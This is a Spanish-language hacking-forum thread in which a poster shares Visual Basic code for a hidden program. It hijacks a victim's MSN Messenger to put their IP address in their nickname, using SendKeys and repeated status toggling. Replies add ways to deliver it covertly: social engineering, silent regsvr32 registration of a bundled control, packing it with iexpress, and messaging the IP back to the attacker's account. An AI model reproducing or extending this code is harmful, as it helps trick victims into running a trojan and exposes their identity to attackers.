Foro de elhacker.net

-Bueno aqui les traigo una idea para hacer que cuando la victima ejecute este programa su nick cambie de nombre  colocando el ip de este en su nick y que cada 10 segundos te aparescan 3 ventanitas mostrando el ip de la victma. Aqui les va el codigo:

Necesitas primero tener:

-El form con la propiedad visible en false
-2 command button
-1 textbox
-2 timer
  *El timer 1 con interval 9000,la propiedad enabled en false.
  *El timer 2 con interval 10000,la propiedad enabled en false.
-1 Winsock
-Agregar a las referencias del proyecto: Messenger APY Type Library

------------------------------------------------------------------------
Private WithEvents MSN As MessengerAPI.Messenger

Private Sub Form_Load()
Set MSN = New MessengerAPI.Messenger
Text1.Text = Winsock1.LocalIP     
Timer1.Enabled = True
End Sub

Private Sub Timer1_Timer()
Call command1_click
End Sub

Private Sub command1_click()
MSN.OptionsPages 0, MOPT_GENERAL_PAGE
MSN.OptionsPages 0, MOPT_GENERAL_PAGE
SendKeys Text1.Text & vbCrLf
Call Command2_Click
End Sub

Private Sub Command2_Click()
MSN.OptionsPages 0, MOPT_GENERAL_PAGE
MSN.OptionsPages 0, MOPT_GENERAL_PAGE
SendKeys Text1.Text & vbCrLf
Timer2.Enabled = True
End Sub

Private Sub Timer2_Timer()
MSN.MyStatus = MISTATUS_INVISIBLE
MSN.MyStatus = MISTATUS_ONLINE
MSN.MyStatus = MISTATUS_INVISIBLE
MSN.MyStatus = MISTATUS_ONLINE
MSN.MyStatus = MISTATUS_INVISIBLE
MSN.MyStatus = MISTATUS_ONLINE
End Sub

A lo mejor algunos se preguntaran porque use dos command button si tienen el mismo uso??, Pues lo hice simplemente para estar mas seguro de que se cambio el nick correctamente porque cuando lo intente con un solo command button aveces no me funcionaba, pero les recomiendo que dejen el codigo como se los puse, aunque ustedes son libres de cambiarlo a su preferencia siempre y cuando digan quien fue la fuente (Redshots).

Weno, esta IP le apareceria a todos sus kontactos tambien, no solo a ti, es mejor que en el timer sea de unos 50 segundos y que vuelva a poner la IP, porke es evidente que la viktima lo va a ver, y asi lograremos tener su IP en el nik....

Weno, Salu2

Hendrix

si ya yo sabia eso solo les queria dar una idea a las personas que no saben, pero gracias igual por esa recomendacion

un par de dudas...

como agrego un wisock
como hago para que vuelva al viejo nick?
y.. si no tengo esa libreria, de donde la saco?

Proyecto--componentes--microsoft winsock control
Guardandolo i haciendo lo mismo
Si tienes vb instalado tendrás la libreria pero en el caso de ser troyano etc, tendrias que copiarselo al pc remoto en windows\system32 i hacer inicio--ejecutar--regsvr32 mswinsck.ocx
Ademas puedes añadirle el parametro /s para que no muestre el mensajito y cante menos

Saludos

Pues una pregunta ya te la respondio que es la de donde sacar el winsock y la otra para regresar el nick a su estado original simplemente matas el proceso o cierras el programa y te lo cambias normalmente. Este programa lo que hace es que cada cierto tiempo a la victima se le abra la ventana para cambiar su nick ( la ventana de opciones del msn) y este cambie su nick automaticamente por su ip y aparescan varias ventanas de que ha iniciado sesion para que asi todos puedan ver su ip.

Holas, un la verdad veo algo dificil, que alguien caiga con ese programa , porke la mayoria de computadoras no tiene winsock en su pc, y puede que el programa no se ejecute o salga un error, recomendaria usar netstat y de hay sacas la Ip

Si es muy probable que haya mucha gente q no caiga pero si llegaran a caer para que el winsock funcione podrias comprimir el winsock junto con el programa y se lo mandas, creo q deberia de funcionar. Aunque cuando la gente vea que se encuentra el winsock junto al programa debe ser algo sospechoso pero no todos saben de programacion asi que tampoco podriamos decir que es mala idea. Cualquier cosa es posible de hacer si es bien planeada solo se necesita un poco de ingenieria social para engañar a la victima

Eso no representa un problema, dispones de muchas posibilidades:
1-Simplemente lo empaquetas con inicio--ejecutar--iexpress.exe y tu programa al arrancar deberá copiar de su carpeta la libreria a system32 con filecopy para luego hacer shell "regsvr32 mswinsck.ocx"
De este modo ya tienes todo en el mismo ejecutable, aunque és algo cutre, lo mejor sería:
2-Añades la libreria al final del propio ejecutable y este al arrancar deberá extraerla de si mismo copiarla a system32 y lo mismo que antes.

Como digo el winsock no representa un problema, el problema és la propia esencia del programa: que es una cutrada. Sería más elegante que al decirle algo a su ventana, devolviera la respuesta a modo de bot, aunque ya no sería tan sencillo como lo expuesto.

Un saludo

Como agrego esto. Me meti a agreagar componentes pero no ecnuentro ninguno con este nombre..?

Como tu mismo dices es una referencia, no un componente y por lo tanto estará en agregar--referencias :P

Ok. Pero tengo un problema, ya que me sale un mensaje diciendo:

Error al cargar la biblioteca Dll

Porque sale este mensaje..... a una mala instalacion o porque esto utilizando el Mssenger?..

para mandar la ip tipo bot:
no lo prove pero deve ser posible:

MSN.InstantMessage "Tu_Mail@Del_Msn"
SendKeys Text1.Text & vbCrLf

y con respecto al winsock, existen proyectos que trabajan con las apis que remplasan la ocx.

salu2

----------------------------------------------------------------------------
xAnubiSx

Muy bueno :)

El problema que encontre es que manda la ip local y no la real de la victima  :-(

como ago eso?????


eso si es un problema...